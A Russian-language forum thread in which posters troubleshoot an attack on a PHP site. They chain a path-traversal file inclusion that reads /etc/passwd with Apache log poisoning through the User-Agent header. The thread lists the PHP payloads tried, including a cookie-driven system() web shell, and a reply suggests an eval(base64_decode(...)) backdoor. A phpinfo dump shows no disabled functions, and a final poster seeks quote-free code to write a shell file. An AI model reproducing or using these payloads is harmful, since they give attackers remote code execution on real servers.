Доброго времени суток. Дело обстоит так, на сайте обнаружена локальная php-инъекция("http://test4.remotehost/index.php?file=../../../../../../../../etc/passwd%00" выдаёт содержимое "/etc/passwd"). Далее был найден файл конфигурации apache("/usr/local/apache2/conf/httpd.conf"), там был подсмотрен лог-файл, в который записываются все запросы("Referer" и "User-Agent"). Далее я попытался внедрять команды в этот лог файл, но результат меня удивил . Запросы передавал через User-agent: Code: User-Agent: <? echo "test";?> -> приводит к ошибке User-Agent: <? print("test");?> -> приводит к ошибке User-Agent: <? include("/etc/passwd");?> -> выводит содержимое /etc/passwd User-Agent: <? phpinfo();?> -> выводит запрошенную информацию User-Agent: <? file_get_contents("/var/www/public_html/test4.remotehost/index.php",false,false,1,1);?> -> приводит к ошибке User-Agent: <? $fp = fopen("/var/www/public_html/test4.remotehost/test.txt","w");fwrite($fp,"123");fclose($fp);?> -> ничего не выводится, файл не создаётся User-Agent: <? system($_COOKIE[cmd]);?> -> никак не реагирует на запросы независимо от заголовка "Cookie: cmd=..." "приводит к ошибке" означает, что лог становится недоступен для чтения через инъекцию. Объясните пожалуйста по какому принципу тут выполняется внедрённый код.
Это как? значение "<? echo "test";?>" при выводе эквивалентно простому "test", но только первое приводит к ошибке. Плюс создание файла не работает, тут вывод вообще никаким боком не приписать. Пробовал, тоже самое.
<?eval(base64_decode($_GET[123]));?> Попробуй Скорее всего все беды из-за ковычек хотя стоп, include тоже работает
весь раздел PHP Core(Master Value везде равено Local Value): Code: Directive Local Value allow_call_time_pass_reference On allow_url_fopen On allow_url_include Off always_populate_raw_post_data Off arg_separator.input & arg_separator.output & asp_tags Off auto_append_file no value auto_globals_jit On auto_prepend_file no value browscap no value default_charset no value default_mimetype text/html define_syslog_variables Off disable_classes no value [COLOR=Red]disable_functions no value[/COLOR] display_errors On display_startup_errors Off doc_root no value docref_ext no value docref_root no value enable_dl On error_append_string no value error_log no value error_prepend_string no value error_reporting 0 expose_php On extension_dir /opt/php/5.2/lib/php/extensions/no-debug-non-zts-20060613 file_uploads On highlight.bg #FFFFFF highlight.comment #FF8000 highlight.default #0000BB highlight.html #000000 highlight.keyword #007700 highlight.string #DD0000 html_errors On ignore_repeated_errors Off ignore_repeated_source Off ignore_user_abort Off implicit_flush Off include_path .: log_errors Off log_errors_max_len 1024 magic_quotes_gpc Off magic_quotes_runtime Off magic_quotes_sybase Off mail.force_extra_parameters no value max_execution_time 30 max_file_uploads 20 max_input_nesting_level 64 max_input_time -1 memory_limit 128M open_basedir no value output_buffering 0 output_handler no value post_max_size 32M precision 14 realpath_cache_size 8M realpath_cache_ttl 120 register_argc_argv On register_globals Off register_long_arrays On report_memleaks On report_zend_debug On safe_mode Off safe_mode_exec_dir /usr/local/php/bin safe_mode_gid Off safe_mode_include_dir no value sendmail_from no value sendmail_path /usr/sbin/sendmail -t -i serialize_precision 100 short_open_tag On SMTP localhost smtp_port 25 sql.safe_mode Off track_errors Off unserialize_callback_func no value upload_max_filesize 32M upload_tmp_dir no value user_dir no value variables_order EGPCS xmlrpc_error_number 0 xmlrpc_errors Off y2k_compliance On zend.ze1_compatibility_mode Off
Дело было в кавычках! 100% У меня сейчас похожая проблема, за исключением того, что я GET передать не могу Мне без кавычек нужно исполняемый код без кавычек (желательно формирование файла шелла) - чешу репу ...